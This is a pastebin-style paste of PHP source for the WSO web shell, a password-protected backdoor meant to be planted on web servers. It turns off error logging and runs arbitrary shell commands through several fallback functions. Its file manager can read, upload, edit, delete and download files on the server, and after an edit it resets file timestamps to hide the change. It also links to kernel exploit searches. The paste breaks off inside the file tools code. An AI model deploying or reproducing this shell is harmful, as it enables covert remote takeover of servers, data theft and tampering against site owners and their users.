· 9 years ago · Jul 18, 2017, 08:52 PM
1<?php
2$auth_pass = "866fd58d77526c1bda8771b5b21d5b11";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8
9@ini_set('error_log',NULL);
10@ini_set('log_errors',0);
11@ini_set('max_execution_time',0);
12@set_time_limit(0);
13@set_magic_quotes_runtime(0);
14@define('WSO_VERSION', '?');
15
16if(get_magic_quotes_gpc()) {
17 function WSOstripslashes($array) {
18 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
19 }
20 $_POST = WSOstripslashes($_POST);
21 $_COOKIE = WSOstripslashes($_COOKIE);
22}
23
24function wsoLogin() {
25 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
26}
27
28function WSOsetcookie($k, $v) {
29 $_COOKIE[$k] = $v;
30 setcookie($k, $v);
31}
32
33if(!empty($auth_pass)) {
34 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
35 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
36
37 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
38 wsoLogin();
39}
40
41if(strtolower(substr(PHP_OS,0,3)) == "win")
42 $os = 'win';
43else
44 $os = 'nix';
45
46$safe_mode = @ini_get('safe_mode');
47if(!$safe_mode)
48 error_reporting(0);
49
50$disable_functions = @ini_get('disable_functions');
51$home_cwd = @getcwd();
52if(isset($_POST['c']))
53 @chdir($_POST['c']);
54$cwd = @getcwd();
55if($os == 'win') {
56 $home_cwd = str_replace("\\", "/", $home_cwd);
57 $cwd = str_replace("\\", "/", $cwd);
58}
59if($cwd[strlen($cwd)-1] != '/')
60 $cwd .= '/';
61
62if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
63 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
64
65if($os == 'win')
66 $aliases = array(
67 "List Directory" => "dir",
68 "IP Configuration" => "ipconfig /all"
69 );
70else
71 $aliases = array(
72 "List dir" => "ls -lha",
73 "locate priv files" => "locate priv"
74 );
75
76function wsoHeader() {
77 if(empty($_POST['charset']))
78 $_POST['charset'] = $GLOBALS['default_charset'];
79 global $color;
80 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
81<style>
82body{background-color:#444;color:#e1e1e1;}
83body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
84table.info{ color:#fff;background-color:#222; }
85span,h1,a{ color: $color !important; }
86span{ font-weight: bolder; }
87h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
88div.content{ padding: 5px;margin-left:5px;background-color:#333; }
89a{ text-decoration:none; }
90a:hover{ text-decoration:underline; }
91.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
92.bigarea{ width:100%;height:300px; }
93input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
94form{ margin:0px; }
95#toolsTbl{ text-align:center; }
96.toolsInp{ width: 300px }
97.main th{text-align:left;background-color:#5e5e5e;}
98.main tr:hover{background-color:#5e5e5e}
99.l1{background-color:#444}
100.l2{background-color:#333}
101pre{font-family:Courier,Monospace;}
102</style>
103<script>
104 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
105 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
106 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
107 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
108 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
109 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
110 var d = document;
111 function set(a,c,p1,p2,p3,charset) {
112 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
113 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
114 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
115 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
116 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
117 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
118 }
119 function g(a,c,p1,p2,p3,charset) {
120 set(a,c,p1,p2,p3,charset);
121 d.mf.submit();
122 }
123 function a(a,c,p1,p2,p3,charset) {
124 set(a,c,p1,p2,p3,charset);
125 var params = 'ajax=true';
126 for(i=0;i<d.mf.elements.length;i++)
127 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
128 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
129 }
130 function sr(url, params) {
131 if (window.XMLHttpRequest)
132 req = new XMLHttpRequest();
133 else if (window.ActiveXObject)
134 req = new ActiveXObject('Microsoft.XMLHTTP');
135 if (req) {
136 req.onreadystatechange = processReqChange;
137 req.open('POST', url, true);
138 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
139 req.send(params);
140 }
141 }
142 function processReqChange() {
143 if( (req.readyState == 4) )
144 if(req.status == 200) {
145 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
146 var arr=reg.exec(req.responseText);
147 eval(arr[2].substr(0, arr[1]));
148 } else alert('Request error!');
149 }
150</script>
151<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
152<form method=post name=mf style='display:none;'>
153<input type=hidden name=a>
154<input type=hidden name=c>
155<input type=hidden name=p1>
156<input type=hidden name=p2>
157<input type=hidden name=p3>
158<input type=hidden name=charset>
159</form>";
160 $freeSpace = @diskfreespace($GLOBALS['cwd']);
161 $totalSpace = @disk_total_space($GLOBALS['cwd']);
162 $totalSpace = $totalSpace?$totalSpace:1;
163 $release = @php_uname('r');
164 $kernel = @php_uname('s');
165 $explink = 'http://ya.ru/';
166 if(strpos('Linux', $kernel) !== false)
167 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
168 else
169 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
170 if(!function_exists('posix_getegid')) {
171 $user = @get_current_user();
172 $uid = @getmyuid();
173 $gid = @getmygid();
174 $group = "?";
175 } else {
176 $uid = @posix_getpwuid(posix_geteuid());
177 $gid = @posix_getgrgid(posix_getegid());
178 $user = $uid['name'];
179 $uid = $uid['uid'];
180 $group = $gid['name'];
181 $gid = $gid['gid'];
182 }
183
184 $cwd_links = '';
185 $path = explode("/", $GLOBALS['cwd']);
186 $n=count($path);
187 for($i=0; $i<$n-1; $i++) {
188 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
189 for($j=0; $j<=$i; $j++)
190 $cwd_links .= $path[$j].'/';
191 $cwd_links .= "\")'>".$path[$i]."/</a>";
192 }
193
194 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
195 $opt_charsets = '';
196 foreach($charsets as $item)
197 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
198
199 $m = array('Files'=>'FilesMan','Framer'=>'Framer');
200 if(!empty($GLOBALS['auth_pass']))
201 $menu = '';
202 foreach($m as $k => $v)
203 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
204
205 $drives = "";
206 if($GLOBALS['os'] == 'win') {
207 foreach(range('c','z') as $drive)
208 if(is_dir($drive.':\\'))
209 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
210 }
211 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
212 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
213 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
214 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
215 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
216}
217
218function wsoFooter() {
219 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
220 echo "
221</div>
222<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
223 <tr>
224 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
225 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
226 </tr><tr>
227 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
228 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
229 </tr><tr>
230 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
231 <td><form method='post' ENCTYPE='multipart/form-data'>
232 <input type=hidden name=a value='FilesMAn'>
233 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
234 <input type=hidden name=p1 value='uploadFile'>
235 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
236 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
237 </tr></table></div></body></html>";
238}
239
240if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
241 function posix_getpwuid($p) {return false;} }
242if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
243 function posix_getgrgid($p) {return false;} }
244
245function wsoEx($in) {
246 $out = '';
247 if (function_exists('exec')) {
248 @exec($in,$out);
249 $out = @join("\n",$out);
250 } elseif (function_exists('passthru')) {
251 ob_start();
252 @passthru($in);
253 $out = ob_get_clean();
254 } elseif (function_exists('system')) {
255 ob_start();
256 @system($in);
257 $out = ob_get_clean();
258 } elseif (function_exists('shell_exec')) {
259 $out = shell_exec($in);
260 } elseif (is_resource($f = @popen($in,"r"))) {
261 $out = "";
262 while(!@feof($f))
263 $out .= fread($f,1024);
264 pclose($f);
265 }
266 return $out;
267}
268
269function wsoViewSize($s) {
270 if (is_int($s))
271 $s = sprintf("%u", $s);
272
273 if($s >= 1073741824)
274 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
275 elseif($s >= 1048576)
276 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
277 elseif($s >= 1024)
278 return sprintf('%1.2f', $s / 1024 ) . ' KB';
279 else
280 return $s . ' B';
281}
282
283function wsoPerms($p) {
284 if (($p & 0xC000) == 0xC000)$i = 's';
285 elseif (($p & 0xA000) == 0xA000)$i = 'l';
286 elseif (($p & 0x8000) == 0x8000)$i = '-';
287 elseif (($p & 0x6000) == 0x6000)$i = 'b';
288 elseif (($p & 0x4000) == 0x4000)$i = 'd';
289 elseif (($p & 0x2000) == 0x2000)$i = 'c';
290 elseif (($p & 0x1000) == 0x1000)$i = 'p';
291 else $i = 'u';
292 $i .= (($p & 0x0100) ? 'r' : '-');
293 $i .= (($p & 0x0080) ? 'w' : '-');
294 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
295 $i .= (($p & 0x0020) ? 'r' : '-');
296 $i .= (($p & 0x0010) ? 'w' : '-');
297 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
298 $i .= (($p & 0x0004) ? 'r' : '-');
299 $i .= (($p & 0x0002) ? 'w' : '-');
300 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
301 return $i;
302}
303
304function wsoPermsColor($f) {
305 if (!@is_readable($f))
306 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
307 elseif (!@is_writable($f))
308 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
309 else
310 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
311}
312
313function wsoScandir($dir) {
314 if(function_exists("scandir")) {
315 return scandir($dir);
316 } else {
317 $dh = opendir($dir);
318 while (false !== ($filename = readdir($dh)))
319 $files[] = $filename;
320 return $files;
321 }
322}
323
324function wsoWhich($p) {
325 $path = wsoEx('which ' . $p);
326 if(!empty($path))
327 return $path;
328 return false;
329}
330
331
332
333function actionFilesMan() {
334 if (!empty ($_COOKIE['f']))
335 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
336
337 if(!empty($_POST['p1'])) {
338 switch($_POST['p1']) {
339 case 'uploadFile':
340 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
341 echo "Can't upload file!";
342 break;
343 case 'mkdir':
344 if(!@mkdir($_POST['p2']))
345 echo "Can't create new dir";
346 break;
347 case 'delete':
348 function deleteDir($path) {
349 $path = (substr($path,-1)=='/') ? $path:$path.'/';
350 $dh = opendir($path);
351 while ( ($item = readdir($dh) ) !== false) {
352 $item = $path.$item;
353 if ( (basename($item) == "..") || (basename($item) == ".") )
354 continue;
355 $type = filetype($item);
356 if ($type == "dir")
357 deleteDir($item);
358 else
359 @unlink($item);
360 }
361 closedir($dh);
362 @rmdir($path);
363 }
364 if(is_array(@$_POST['f']))
365 foreach($_POST['f'] as $f) {
366 if($f == '..')
367 continue;
368 $f = urldecode($f);
369 if(is_dir($f))
370 deleteDir($f);
371 else
372 @unlink($f);
373 }
374 break;
375 case 'paste':
376 if($_COOKIE['act'] == 'copy') {
377 function copy_paste($c,$s,$d){
378 if(is_dir($c.$s)){
379 mkdir($d.$s);
380 $h = @opendir($c.$s);
381 while (($f = @readdir($h)) !== false)
382 if (($f != ".") and ($f != ".."))
383 copy_paste($c.$s.'/',$f, $d.$s.'/');
384 } elseif(is_file($c.$s))
385 @copy($c.$s, $d.$s);
386 }
387 foreach($_COOKIE['f'] as $f)
388 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
389 } elseif($_COOKIE['act'] == 'move') {
390 function move_paste($c,$s,$d){
391 if(is_dir($c.$s)){
392 mkdir($d.$s);
393 $h = @opendir($c.$s);
394 while (($f = @readdir($h)) !== false)
395 if (($f != ".") and ($f != ".."))
396 copy_paste($c.$s.'/',$f, $d.$s.'/');
397 } elseif(@is_file($c.$s))
398 @copy($c.$s, $d.$s);
399 }
400 foreach($_COOKIE['f'] as $f)
401 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
402 } elseif($_COOKIE['act'] == 'zip') {
403 if(class_exists('ZipArchive')) {
404 $zip = new ZipArchive();
405 if ($zip->open($_POST['p2'], 1)) {
406 chdir($_COOKIE['c']);
407 foreach($_COOKIE['f'] as $f) {
408 if($f == '..')
409 continue;
410 if(@is_file($_COOKIE['c'].$f))
411 $zip->addFile($_COOKIE['c'].$f, $f);
412 elseif(@is_dir($_COOKIE['c'].$f)) {
413 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
414 foreach ($iterator as $key=>$value) {
415 $zip->addFile(realpath($key), $key);
416 }
417 }
418 }
419 chdir($GLOBALS['cwd']);
420 $zip->close();
421 }
422 }
423 } elseif($_COOKIE['act'] == 'unzip') {
424 if(class_exists('ZipArchive')) {
425 $zip = new ZipArchive();
426 foreach($_COOKIE['f'] as $f) {
427 if($zip->open($_COOKIE['c'].$f)) {
428 $zip->extractTo($GLOBALS['cwd']);
429 $zip->close();
430 }
431 }
432 }
433 } elseif($_COOKIE['act'] == 'tar') {
434 chdir($_COOKIE['c']);
435 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
436 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
437 chdir($GLOBALS['cwd']);
438 }
439 unset($_COOKIE['f']);
440 setcookie('f', '', time() - 3600);
441 break;
442 default:
443 if(!empty($_POST['p1'])) {
444 WSOsetcookie('act', $_POST['p1']);
445 WSOsetcookie('f', serialize(@$_POST['f']));
446 WSOsetcookie('c', @$_POST['c']);
447 }
448 break;
449 }
450 }
451 wsoHeader();
452 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
453 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
454 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
455 global $sort;
456 $sort = array('name', 1);
457 if(!empty($_POST['p1'])) {
458 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
459 $sort = array($match[1], (int)$match[2]);
460 }
461echo "<script>
462 function sa() {
463 for(i=0;i<d.files.elements.length;i++)
464 if(d.files.elements[i].type == 'checkbox')
465 d.files.elements[i].checked = d.files.elements[0].checked;
466 }
467</script>
468<table width='100%' class='main' cellspacing='0' cellpadding='2'>
469<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
470 $dirs = $files = array();
471 $n = count($dirContent);
472 for($i=0;$i<$n;$i++) {
473 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
474 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
475 $tmp = array('name' => $dirContent[$i],
476 'path' => $GLOBALS['cwd'].$dirContent[$i],
477 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
478 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
479 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
480 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
481 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
482 );
483 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
484 $files[] = array_merge($tmp, array('type' => 'file'));
485 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
486 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
487 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
488 $dirs[] = array_merge($tmp, array('type' => 'dir'));
489 }
490 $GLOBALS['sort'] = $sort;
491 function wsoCmp($a, $b) {
492 if($GLOBALS['sort'][0] != 'size')
493 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
494 else
495 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
496 }
497 usort($files, "wsoCmp");
498 usort($dirs, "wsoCmp");
499 $files = array_merge($dirs, $files);
500 $l = 0;
501 foreach($files as $f) {
502 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
503 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
504 $l = $l?0:1;
505 }
506 echo "<tr><td colspan=7>
507 <input type=hidden name=a value='FilesMan'>
508 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
509 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
510 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
511 if(class_exists('ZipArchive'))
512 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
513 echo "<option value='tar'>Compress (tar.gz)</option>";
514 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
515 echo "<option value='paste'>Paste / Compress</option>";
516 echo "</select> ";
517 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
518 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
519 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
520 wsoFooter();
521}
522
523function actionFilesTools() {
524 if( isset($_POST['p1']) )
525 $_POST['p1'] = urldecode($_POST['p1']);
526 if(@$_POST['p2']=='download') {
527 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
528 ob_start("ob_gzhandler", 4096);
529 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
530 if (function_exists("mime_content_type")) {
531 $type = @mime_content_type($_POST['p1']);
532 header("Content-Type: " . $type);
533 } else
534 header("Content-Type: application/octet-stream");
535 $fp = @fopen($_POST['p1'], "r");
536 if($fp) {
537 while(!@feof($fp))
538 echo @fread($fp, 1024);
539 fclose($fp);
540 }
541 }exit;
542 }
543 if( @$_POST['p2'] == 'mkfile' ) {
544 if(!file_exists($_POST['p1'])) {
545 $fp = @fopen($_POST['p1'], 'w');
546 if($fp) {
547 $_POST['p2'] = "edit";
548 fclose($fp);
549 }
550 }
551 }
552 wsoHeader();
553 echo '<h1>File tools</h1><div class=content>';
554 if( !file_exists(@$_POST['p1']) ) {
555 echo 'File not exists';
556 wsoFooter();
557 return;
558 }
559 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
560 if(!$uid) {
561 $uid['name'] = @fileowner($_POST['p1']);
562 $gid['name'] = @filegroup($_POST['p1']);
563 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
564 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
565 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
566 if( empty($_POST['p2']) )
567 $_POST['p2'] = 'view';
568 if( is_file($_POST['p1']) )
569 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
570 else
571 $m = array('Chmod', 'Rename', 'Touch');
572 foreach($m as $v)
573 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
574 echo '<br><br>';
575 switch($_POST['p2']) {
576 case 'view':
577 echo '<pre class=ml1>';
578 $fp = @fopen($_POST['p1'], 'r');
579 if($fp) {
580 while( !@feof($fp) )
581 echo htmlspecialchars(@fread($fp, 1024));
582 @fclose($fp);
583 }
584 echo '</pre>';
585 break;
586 case 'highlight':
587 if( @is_readable($_POST['p1']) ) {
588 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
589 $code = @highlight_file($_POST['p1'],true);
590 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
591 }
592 break;
593 case 'chmod':
594 if( !empty($_POST['p3']) ) {
595 $perms = 0;
596 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
597 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
598 if(!@chmod($_POST['p1'], $perms))
599 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
600 }
601 clearstatcache();
602 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
603 break;
604 case 'edit':
605 if( !is_writable($_POST['p1'])) {
606 echo 'File isn\'t writeable';
607 break;
608 }
609 if( !empty($_POST['p3']) ) {
610 $time = @filemtime($_POST['p1']);
611 $_POST['p3'] = substr($_POST['p3'],1);
612 $fp = @fopen($_POST['p1'],"w");
613 if($fp) {
614 @fwrite($fp,$_POST['p3']);
615 @fclose($fp);
616 echo 'Saved!<br><script>p3_="";</script>';
617 @touch($_POST['p1'],$time,$time);
618 }
619 }
620 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
621 $fp = @fopen($_POST['p1'], 'r');
622 if($fp) {
623 while( !@feof($fp) )
624 echo htmlspecialchars(@fread($fp, 1024));
625 @fclose($fp);
626 }
627 echo '</textarea><input type=submit value=">>"></form>';
628 break;
629 case 'hexdump':
630 $c = @file_get_contents($_POST['p1']);
631 $n = 0;
632 $h = array('00000000<br>','','');
633 $len = strlen($c);
634 for ($i=0; $i<$len; ++$i) {
635 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
636 switch ( ord($c[$i]) ) {
637 case 0: $h[2] .= ' '; break;
638 case 9: $h[2] .= ' '; break;
639 case 10: $h[2] .= ' '; break;
640 case 13: $h[2] .= ' '; break;
641 default: $h[2] .= $c[$i]; break;
642 }
643 $n++;
644 if ($n == 32) {
645 $n = 0;
646 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
647 $h[1] .= '<br>';
648 $h[2] .= "\n";
649 }
650 }
651 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
652 break;
653 case 'rename':
654 if( !empty($_POST['p3']) ) {
655 if(!@rename($_POST['p1'], $_POST['p3']))
656 echo 'Can\'t rename!<br>';
657 else
658 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
659 }
660 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
661 break;
662 case 'touch':
663 if( !empty($_POST['p3']) ) {
664 $time = strtotime($_POST['p3']);
665 if($time) {
666 if(!touch($_POST['p1'],$time,$time))
667 echo 'Fail!';
668 else
669 echo 'Touched!';
670 } else echo 'Bad time format!';
671 }
672 clearstatcache();
